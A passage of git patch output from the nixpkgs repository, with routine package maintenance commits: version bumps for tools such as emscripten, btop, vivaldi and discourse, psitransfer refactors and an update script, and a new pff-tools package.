-      hash = "sha256-wkmmpviQBGoE/+/tPTIIgkWFUYtYney5Yz12m8Zlak8=";
+      rev = "fe0d657613a1e6330fa8c41378c324af93a42c3a";
+      hash = "sha256-fusSDXawWttXWQfGloRkpkHWvfLPuljm1l0BpAKvNSg=";
       name = "Nordic-Polar-standard-buttons";
     })
   ];

From a3bf1ae457c5c3b4bf03c2d1f6cfd8d4f913c600 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Romildo?= <malaquias@gmail.com>
Date: Thu, 15 May 2025 10:58:41 -0300
Subject: [PATCH 3176/4511] nordic: remove broken symlinks

(cherry picked from commit 98b05e942d4649e9d97dada99c93ed6f18d32bf1)
---
 pkgs/data/themes/nordic/default.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/data/themes/nordic/default.nix b/pkgs/data/themes/nordic/default.nix
index acd2651e5609..071b18e3a7ba 100644
--- a/pkgs/data/themes/nordic/default.nix
+++ b/pkgs/data/themes/nordic/default.nix
@@ -92,9 +92,6 @@ stdenvNoCC.mkDerivation rec {
 
   dontWrapQtApps = true;
 
-  # FIXME: https://github.com/EliverLara/Nordic/issues/331
-  dontCheckForBrokenSymlinks = true;
-
   installPhase = ''
     runHook preInstall
 
@@ -146,6 +143,10 @@ stdenvNoCC.mkDerivation rec {
     # each set of duplicates, reducing the installed size in about 53%
     jdupes --quiet --link-soft --recurse $out/share
 
+    # FIXME: https://github.com/EliverLara/Nordic/issues/331
+    echo "Removing broken symlinks ..."
+    find $out -xtype l -print -delete
+
     runHook postInstall
   '';
 

From f7edcc11957960987422eef1b9d29268a02b37bf Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 29 Jul 2025 02:11:35 +0200
Subject: [PATCH 3177/4511] psitransfer: use finalAttrs pattern

(cherry picked from commit 8a26beb4be4c1b897ba6b794a0a8f1f82cdbe181)
---
 pkgs/by-name/ps/psitransfer/package.nix | 21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/ps/psitransfer/package.nix b/pkgs/by-name/ps/psitransfer/package.nix
index 63f57bd75ac8..8da34ca2375c 100644
--- a/pkgs/by-name/ps/psitransfer/package.nix
+++ b/pkgs/by-name/ps/psitransfer/package.nix
@@ -6,18 +6,22 @@
   vips,
 }:
 
-let
+buildNpmPackage (finalAttrs: {
   pname = "psitransfer";
   version = "2.2.0";
+
   src = fetchFromGitHub {
     owner = "psi-4ward";
     repo = "psitransfer";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-5o4QliAXgSZekIy0CNWfEuOxNl0uetL8C8RKUJ8HsNA=";
   };
+
+  npmDepsHash = "sha256-EW/Fej58LE/nbJomPtWvEjDveAUdo0jIWwC+ziN0gy0=";
+
   app = buildNpmPackage {
-    pname = "${pname}-app";
-    inherit version src;
+    pname = "psitransfer-app";
+    inherit (finalAttrs) version src;
 
     npmDepsHash = "sha256-q7E+osWIf6VZ3JvxCXoZYeF28aMgmKP6EzQkksUUjeY=";
 
@@ -31,11 +35,6 @@ let
       cp -r ../public/app $out
     '';
   };
-in
-buildNpmPackage {
-  inherit pname version src;
-
-  npmDepsHash = "sha256-EW/Fej58LE/nbJomPtWvEjDveAUdo0jIWwC+ziN0gy0=";
 
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [
@@ -44,7 +43,7 @@ buildNpmPackage {
 
   postPatch = ''
     rm -r public/app
-    cp -r ${app} public/app
+    cp -r ${finalAttrs.app} public/app
   '';
 
   dontBuild = true;
@@ -56,4 +55,4 @@ buildNpmPackage {
     maintainers = with lib.maintainers; [ hyshka ];
     mainProgram = "psitransfer";
   };
-}
+})

From ccdc5d9692481ec93fa49d9699a52f3ff3acc74a Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 29 Jul 2025 02:16:02 +0200
Subject: [PATCH 3178/4511] psitransfer: use tag in fetchFromGitHub

(cherry picked from commit 8eee960161e54b3aa84384247f46e993881d7632)
---
 pkgs/by-name/ps/psitransfer/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ps/psitransfer/package.nix b/pkgs/by-name/ps/psitransfer/package.nix
index 8da34ca2375c..b8aa9b669c93 100644
--- a/pkgs/by-name/ps/psitransfer/package.nix
+++ b/pkgs/by-name/ps/psitransfer/package.nix
@@ -13,7 +13,7 @@ buildNpmPackage (finalAttrs: {
   src = fetchFromGitHub {
     owner = "psi-4ward";
     repo = "psitransfer";
-    rev = "v${finalAttrs.version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-5o4QliAXgSZekIy0CNWfEuOxNl0uetL8C8RKUJ8HsNA=";
   };
 

From c2ec0664dbf5e57b54fbeaebb8bb31668e9b2f09 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 29 Jul 2025 02:17:27 +0200
Subject: [PATCH 3179/4511] psitransfer: add meta.changelog

(cherry picked from commit c87822031ad4f559a816b2f8d301bea83b345b7b)
---
 pkgs/by-name/ps/psitransfer/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ps/psitransfer/package.nix b/pkgs/by-name/ps/psitransfer/package.nix
index b8aa9b669c93..3d2acae9149c 100644
--- a/pkgs/by-name/ps/psitransfer/package.nix
+++ b/pkgs/by-name/ps/psitransfer/package.nix
@@ -49,8 +49,9 @@ buildNpmPackage (finalAttrs: {
   dontBuild = true;
 
   meta = {
-    homepage = "https://github.com/psi-4ward/psitransfer";
     description = "Simple open source self-hosted file sharing solution";
+    homepage = "https://github.com/psi-4ward/psitransfer";
+    changelog = "https://github.com/psi-4ward/psitransfer/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.bsd2;
     maintainers = with lib.maintainers; [ hyshka ];
     mainProgram = "psitransfer";

From 1e0c78320687bfb79f5b93e72082098d308dcd94 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 29 Jul 2025 02:18:35 +0200
Subject: [PATCH 3180/4511] psitransfer: add updateScript

(cherry picked from commit 640d1f3005fcb34e762a5f675685efd8c87b9157)
---
 pkgs/by-name/ps/psitransfer/package.nix | 2 ++
 pkgs/by-name/ps/psitransfer/update.sh   | 8 ++++++++
 2 files changed, 10 insertions(+)
 create mode 100755 pkgs/by-name/ps/psitransfer/update.sh

diff --git a/pkgs/by-name/ps/psitransfer/package.nix b/pkgs/by-name/ps/psitransfer/package.nix
index 3d2acae9149c..529d71891438 100644
--- a/pkgs/by-name/ps/psitransfer/package.nix
+++ b/pkgs/by-name/ps/psitransfer/package.nix
@@ -48,6 +48,8 @@ buildNpmPackage (finalAttrs: {
 
   dontBuild = true;
 
+  passthru.updateScript = ./update.sh;
+
   meta = {
     description = "Simple open source self-hosted file sharing solution";
     homepage = "https://github.com/psi-4ward/psitransfer";
diff --git a/pkgs/by-name/ps/psitransfer/update.sh b/pkgs/by-name/ps/psitransfer/update.sh
new file mode 100755
index 000000000000..c4d410c717bf
--- /dev/null
+++ b/pkgs/by-name/ps/psitransfer/update.sh
@@ -0,0 +1,8 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p nix-update
+
+set -euo pipefail
+
+nix-update psitransfer --src-only --version-regex='^v(\d+\.\d+\.\d+)$'
+nix-update psitransfer.app --version=skip
+nix-update psitransfer --version=skip

From b2ae779108f4b613d384a00ee3e64dd3d6a9cdff Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 29 Jul 2025 00:22:31 +0000
Subject: [PATCH 3181/4511] psitransfer: 2.2.0 -> 2.3.0

Changelog: https://github.com/psi-4ward/psitransfer/releases/tag/v2.3.0
Diff: https://github.com/psi-4ward/psitransfer/compare/v2.2.0...v2.3.0
(cherry picked from commit 61a2aa95f771d7b01ddc1c38a9910bdd5771845a)
---
 pkgs/by-name/ps/psitransfer/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ps/psitransfer/package.nix b/pkgs/by-name/ps/psitransfer/package.nix
index 529d71891438..64779298eaca 100644
--- a/pkgs/by-name/ps/psitransfer/package.nix
+++ b/pkgs/by-name/ps/psitransfer/package.nix
@@ -8,22 +8,22 @@
 
 buildNpmPackage (finalAttrs: {
   pname = "psitransfer";
-  version = "2.2.0";
+  version = "2.3.0";
 
   src = fetchFromGitHub {
     owner = "psi-4ward";
     repo = "psitransfer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5o4QliAXgSZekIy0CNWfEuOxNl0uetL8C8RKUJ8HsNA=";
+    hash = "sha256-XUEvR8dWwFBbZdwVM8PQnYBc17SvGF5uO04vb/nAR2A=";
   };
 
-  npmDepsHash = "sha256-EW/Fej58LE/nbJomPtWvEjDveAUdo0jIWwC+ziN0gy0=";
+  npmDepsHash = "sha256-BZpd/fsuV77uj2bGZcqBpIuOq3YlUw2bxovOfu8b9iE=";
 
   app = buildNpmPackage {
     pname = "psitransfer-app";
     inherit (finalAttrs) version src;
 
-    npmDepsHash = "sha256-q7E+osWIf6VZ3JvxCXoZYeF28aMgmKP6EzQkksUUjeY=";
+    npmDepsHash = "sha256-zEGYv6TaHzgPCB3mHP2UMh8VkFqSBdrLuP5KjuEU0p8=";
 
     postPatch = ''
       # https://github.com/psi-4ward/psitransfer/pull/284

From 7ef28f65321e91620e04b4ae05ec9b09ec8a4cab Mon Sep 17 00:00:00 2001
From: Will Cohen <willcohen@users.noreply.github.com>
Date: Wed, 25 Jun 2025 12:45:43 -0400
Subject: [PATCH 3182/4511] emscripten: 4.0.8 -> 4.0.10

(cherry picked from commit ded344bf5b93be3ba502c83959ddac6f6b942e8e)
---
 pkgs/development/compilers/emscripten/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/emscripten/default.nix b/pkgs/development/compilers/emscripten/default.nix
index 01d038a687d7..f0dbe6753fad 100644
--- a/pkgs/development/compilers/emscripten/default.nix
+++ b/pkgs/development/compilers/emscripten/default.nix
@@ -17,7 +17,7 @@
 
 stdenv.mkDerivation rec {
   pname = "emscripten";
-  version = "4.0.8";
+  version = "4.0.10";
 
   llvmEnv = symlinkJoin {
     name = "emscripten-llvm-${version}";
@@ -33,7 +33,7 @@ stdenv.mkDerivation rec {
     name = "emscripten-node-modules-${version}";
     inherit pname version src;
 
-    npmDepsHash = "sha256-fGlBtXsYOQ5V4/PRPPIpL3nxb+hUAuj9q7Jw0kL7ph0=";
+    npmDepsHash = "sha256-kObMqg7hyy7E3F+wbdZoeDy5GOgpE2iNTuDVkFvq5ig=";
 
     dontBuild = true;
 
@@ -46,7 +46,7 @@ stdenv.mkDerivation rec {
   src = fetchFromGitHub {
     owner = "emscripten-core";
     repo = "emscripten";
-    hash = "sha256-xiqi3SMmlfV7NaA61QZAW7BFHu9xOVN9QMWwwDInBeE=";
+    hash = "sha256-b+7NYKRm0IsZ2cK2Vqz8zKhqYlxjlhVSdpdFq0LaUPU=";
     rev = version;
   };
 

From c7b809e7d222827c1b01f653447d1eaa12e462ab Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Tue, 22 Jul 2025 13:40:36 +0200
Subject: [PATCH 3183/4511] pff-tools: init at 0-unstable-2025-07-22

(cherry picked from commit 59c51fb433854f2f9fb88b539dd19a78abf3f871)
---
 pkgs/by-name/pf/pff-tool/package.nix | 42 ++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)
 create mode 100644 pkgs/by-name/pf/pff-tool/package.nix

diff --git a/pkgs/by-name/pf/pff-tool/package.nix b/pkgs/by-name/pf/pff-tool/package.nix
new file mode 100644
index 000000000000..9b394c198bf3
--- /dev/null
+++ b/pkgs/by-name/pf/pff-tool/package.nix
@@ -0,0 +1,42 @@
+{
+  lib,
+  stdenv,
+  rustPlatform,
+  fetchFromGitHub,
+  pkg-config,
+  libpff,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "pff-tools";
+  version = "0-unstable-2025-07-22";
+
+  src = fetchFromGitHub {
+    owner = "avranju";
+    repo = "pff-tools";
+    rev = "d8776cd45e62c82adbbcc04f2f636b569de057ca";
+    hash = "sha256-MDMrKaq/iz5WdLhh3rv2ODFdaMoaeFtacT8xmRf3Qec=";
+  };
+
+  cargoHash = "sha256-SL+FTuVkgq0ll8SH7FgVapvemarc7ci0KtoGG16zxCM=";
+
+  nativeBuildInputs = [
+    pkg-config
+    rustPlatform.bindgenHook
+  ];
+
+  buildInputs = [
+    libpff
+  ];
+
+  # Tests require a sample PST/OST file.
+  doCheck = false;
+
+  meta = {
+    description = "Command-line tools to process PFF files";
+    homepage = "https://github.com/avranju/pff-tools";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ d3vil0p3r ];
+    mainProgram = "pff-cli";
+  };
+})

From 5284c8afb606d129476ff10a707a444a778278cf Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 30 Jul 2025 16:20:52 +0300
Subject: [PATCH 3184/4511] raycast: 1.101.1 -> 1.102.0

Changelog: https://www.raycast.com/changelog/1-102-0
(cherry picked from commit fbd425f94a5e248214f6a60de10599d11e69799a)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 8381b175c6ba..0a696ed364d0 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.101.1";
+  version = "1.102.0";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-/G9cYTecssfmWWnl6fSnIuJgiHNu5ggvyE3xeFfNx2o=";
+        hash = "sha256-f26Tf59ow7rJiL+2BRgDhbEpWB2z4JaRUsT9UMxKjV4=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-xkUvCig24kGlw9/LQhY7aId7tuccdw8CFSJ9c2lvrsE=";
+        hash = "sha256-Ict34LSjpN1Ah/uOclRi0xQfO6oQgmP57K+12bIjW6k=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From b30fcd33772f59aa9700b4681530c563aa5ddf12 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 01:42:16 +0300
Subject: [PATCH 3185/4511] raycast: 1.102.0 -> 1.102.3

(cherry picked from commit a2f492c11578a7e3f7b15ae5c916367a0ac7470e)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 0a696ed364d0..8c01dd5dd048 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.102.0";
+  version = "1.102.3";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-f26Tf59ow7rJiL+2BRgDhbEpWB2z4JaRUsT9UMxKjV4=";
+        hash = "sha256-rb67RWmv4zJs4osGt/4D5XfV3ZT1YbwhHAhEqPrCxCk=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-Ict34LSjpN1Ah/uOclRi0xQfO6oQgmP57K+12bIjW6k=";
+        hash = "sha256-1CCIrqDv7h0z/49X9UrObeWmyAz++XpMdZ58ilW4wIM=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From 7f19205f846f62c0d24d39f364c47eec81b44ac3 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Thu, 3 Jul 2025 23:14:21 +0200
Subject: [PATCH 3186/4511] btop: 1.4.3 -> 1.4.4

Changelog: https://github.com/aristocratos/btop/releases/tag/v1.4.4
Diff: https://github.com/aristocratos/btop/compare/v1.4.3...v1.4.4
(cherry picked from commit 2729d95aa413862ee6a300268fd5d8a06bed1c15)
---
 pkgs/by-name/bt/btop/package.nix | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bt/btop/package.nix b/pkgs/by-name/bt/btop/package.nix
index a4017138cae0..4e787bc862fd 100644
--- a/pkgs/by-name/bt/btop/package.nix
+++ b/pkgs/by-name/bt/btop/package.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation rec {
   pname = "btop";
-  version = "1.4.3";
+  version = "1.4.4";
 
   src = fetchFromGitHub {
     owner = "aristocratos";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-4x2vGmH2dfHZHG+zj2KGsL/pRNIZ8K8sXYRHy0io5IE=";
+    hash = "sha256-4H9UjewJ7UFQtTQYwvHZL3ecPiChpfT6LEZwbdBCIa0=";
   };
 
   nativeBuildInputs = [
@@ -37,6 +37,11 @@ stdenv.mkDerivation rec {
 
   installFlags = [ "PREFIX=$(out)" ];
 
+  # fix build on darwin (see https://github.com/NixOS/nixpkgs/pull/422218#issuecomment-3039181870 and https://github.com/aristocratos/btop/pull/1173)
+  cmakeFlags = [
+    (lib.cmakeBool "BTOP_LTO" (!stdenv.hostPlatform.isDarwin))
+  ];
+
   postInstall = ''
     ${removeReferencesTo}/bin/remove-references-to -t ${stdenv.cc.cc} $(readlink -f $out/bin/btop)
   '';

From a83e8b4ff0d21e09aeeb6ca2de77d37df71c1fa1 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 02:18:10 +0300
Subject: [PATCH 3187/4511] vencord: 1.12.7 -> 1.12.9

(cherry picked from commit ae0211faa4cc735934a99ec3a9880fcf324fe130)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index aae37eecd725..17839da6b504 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.7";
+  version = "1.12.9";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-MS88KCH8ZdLyKoR0K45CSJutZSKUhz4FAE2VtrSx0ic=";
+    hash = "sha256-dvQM4xHRcHLRxEh3+V2LKBPv+Es6T1CTbD9/oY912Ys=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 4a59193cedbd56e81ef5d938b8a1bb113b8711b3 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Mon, 4 Aug 2025 04:14:05 -0700
Subject: [PATCH 3188/4511] llvmPackages_git: 22.0.0-unstable-2025-07-28 ->
 22.0.0-unstable-2025-08-03

(cherry picked from commit 9737ba35b6632467d5c6d6e3037a6b452aca0924)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 0652049e66ad..ec9b4ba43444 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "90de4a4ac96ef314e3af9c43c516d5aaf105777a";
-      rev-version = "22.0.0-unstable-2025-07-28";
-      sha256 = "sha256-zTxqMegoqoXHFLXZijWsTXny5y2WLdXTwMtiPnY9KLs=";
+      rev = "144cd87088dc82263b25e816c77fc03f29fd1288";
+      rev-version = "22.0.0-unstable-2025-08-03";
+      sha256 = "sha256-DtY1OcpquPQ+dXTyuVggrK5gO7H5xgoZajf/ZONCQ7o=";
     };
   }
   // llvmVersions;

From 41300da938b69800de50beb23593490d4eb7b8d7 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sat, 5 Jul 2025 21:32:54 +0300
Subject: [PATCH 3189/4511] arc-browser: use `xmlstartlet` for
 `passthru.updateScript`

(cherry picked from commit 51d4adf6c8fe74e6b95083019187f7b644db9dc8)
---
 pkgs/by-name/ar/arc-browser/package.nix | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index ebe4fc34719f..e365130286dd 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -6,6 +6,7 @@
   writeShellApplication,
   curl,
   common-updater-scripts,
+  xmlstarlet,
 }:
 
 stdenvNoCC.mkDerivation (finalAttrs: {
@@ -37,14 +38,16 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     runtimeInputs = [
       curl
       common-updater-scripts
+      xmlstarlet
     ];
     text = ''
-      redirect_url="$(curl -s -L -f "https://releases.arc.net/release/Arc-latest.dmg" -o /dev/null -w '%{url_effective}')"
-      # The url scheme is: https://releases.arc.net/release/Arc-1.23.4-56789.dmg
-      # We strip everything before 'Arc-' and after '.dmg'
-      version="''${redirect_url##*/Arc-}"
-      version="''${version%.dmg}"
-      update-source-version arc-browser "$version" --file=./pkgs/by-name/ar/arc-browser/package.nix
+      latest_version_string="$(curl -s "https://releases.arc.net/updates.xml" | xmlstarlet sel -N sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" -t -v "//item[1]/sparkle:shortVersionString" -n)"
+      version_part="''${latest_version_string%% (*}"
+      build_part="''${latest_version_string##*\(}"
+      build_part="''${build_part%\)*}"
+      version="''${version_part}-''${build_part}"
+
+      update-source-version arc-browser "$version"
     '';
   });
 

From b40ba952c20424eb438ee3d34d90eaadb3b7d4b1 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sat, 5 Jul 2025 21:37:56 +0300
Subject: [PATCH 3190/4511] arc-browser: 1.101.0-64746 -> 1.106.0-66192

(cherry picked from commit 130702106cce63cc3df555fb47904cf3aa071069)
---
 pkgs/by-name/ar/arc-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index e365130286dd..81aed72728b6 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -11,11 +11,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "arc-browser";
-  version = "1.101.0-64746";
+  version = "1.106.0-66192";
 
   src = fetchurl {
     url = "https://releases.arc.net/release/Arc-${finalAttrs.version}.dmg";
-    hash = "sha256-u391hQB+Fqw21cu9GQglOkPHie+8uK8FTxSLWLAH0eA=";
+    hash = "sha256-AlM0wJ/2okrxw2ZpMPodlSVQaMMkBPf5iIN4bnMTaME=";
   };
 
   nativeBuildInputs = [ undmg ];

From e568c635eb7b436a17db2e6b9db1819bcae29b9f Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 4 Aug 2025 14:41:27 +0200
Subject: [PATCH 3191/4511] discourse: 3.4.4 -> 3.4.6

https://meta.discourse.org/t/3-4-5-security-fixes-release/369347
https://meta.discourse.org/t/3-4-6-security-fix-release/370631

Fixes: CVE-2025-48877, CVE-2025-48062, CVE-2025-48053, CVE-2025-49845
(cherry picked from commit 37c67710b78f6639f7d4686f865e77dade90bfb3)
---
 pkgs/servers/web-apps/discourse/default.nix          | 4 ++--
 pkgs/servers/web-apps/discourse/rubyEnv/Gemfile.lock | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/web-apps/discourse/default.nix b/pkgs/servers/web-apps/discourse/default.nix
index aa6ebedb657c..19a2e55bb959 100644
--- a/pkgs/servers/web-apps/discourse/default.nix
+++ b/pkgs/servers/web-apps/discourse/default.nix
@@ -46,13 +46,13 @@
 }@args:
 
 let
-  version = "3.4.4";
+  version = "3.4.6";
 
   src = fetchFromGitHub {
     owner = "discourse";
     repo = "discourse";
     rev = "v${version}";
-    sha256 = "sha256-rA42fOhSJVrNPcFSB2+On7JVeZch8t2yNo+36UK+QcA=";
+    sha256 = "sha256-HS13jNhSrPo7CHAk2zZEKSt54lBTw1PdMCIJUO0rjLc=";
   };
 
   ruby = ruby_3_3;
diff --git a/pkgs/servers/web-apps/discourse/rubyEnv/Gemfile.lock b/pkgs/servers/web-apps/discourse/rubyEnv/Gemfile.lock
index 92f647c7d9de..c05f581c03f3 100644
--- a/pkgs/servers/web-apps/discourse/rubyEnv/Gemfile.lock
+++ b/pkgs/servers/web-apps/discourse/rubyEnv/Gemfile.lock
@@ -745,4 +745,4 @@ DEPENDENCIES
   zeitwerk
 
 BUNDLED WITH
-   2.6.6
+   2.6.9

From 7664d249e732b0ca02b5019f1e95a667c5098b6f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 4 Aug 2025 08:41:45 +0000
Subject: [PATCH 3192/4511] vivaldi: 7.5.3735.56 -> 7.5.3735.58

(cherry picked from commit b7be3ee751ac1b88b45f8146745e657b6b6efbcc)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 6d774e0541fe..7574a27ce328 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.5.3735.56";
+  version = "7.5.3735.58";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-bHOmd5+YtSd8ZupIPOlPtTIJ5OrDcDMQSk6xq2Y811M=";
-        x86_64-linux = "sha256-yFaHtPTYAK/dOOTyWN8tDs7XJX93mg4OCt8dPd3ScJ8=";
+        aarch64-linux = "sha256-/S1vN8JakjRuB8s9SrDfA8wTwKu1tSs/+g7IoYglSmg=";
+        x86_64-linux = "sha256-5dNdJuApccRQDiZOF2+a8sTqJJLIGLpUPevPVx7Fyfw=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From be560eb4795f2940e5ee3b12668daeb5a9983e74 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 26 Jul 2025 01:41:19 +0000
Subject: [PATCH 3193/4511] postgresqlPackages.pgmq: 1.5.1 -> 1.6.1

(cherry picked from commit 2a358e658589eb9e9981f0a79623ab133f3c80c3)
---
 pkgs/servers/sql/postgresql/ext/pgmq.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pgmq.nix b/pkgs/servers/sql/postgresql/ext/pgmq.nix
index b3bd9d4c8b74..827239f0ae60 100644
--- a/pkgs/servers/sql/postgresql/ext/pgmq.nix
+++ b/pkgs/servers/sql/postgresql/ext/pgmq.nix
@@ -7,13 +7,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pgmq";
-  version = "1.5.1";
+  version = "1.6.1";
 
   src = fetchFromGitHub {
     owner = "tembo-io";
     repo = "pgmq";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-IU+i6ONPwtgsFKdzya6E+222ualR66gkbb0lDr+7Rb8=";
+    hash = "sha256-ddlExWqAJXijLl9skEkZu5ZH9X+cTreT38pZ3izt8j0=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/pgmq-extension";

From 091dc1feb989828fdf54f52ddce705159ff59925 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 4 Aug 2025 16:51:27 +0200
Subject: [PATCH 3194/4511] discourse: 3.4.6 -> 3.4.7

https://meta.discourse.org/t/3-4-7-security-and-maintenance-release/375747

Fixes: CVE-2025-53102
(cherry picked from commit 5cf720e9329993cdcd09fc19d073b19531d35cee)
---
 pkgs/servers/web-apps/discourse/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

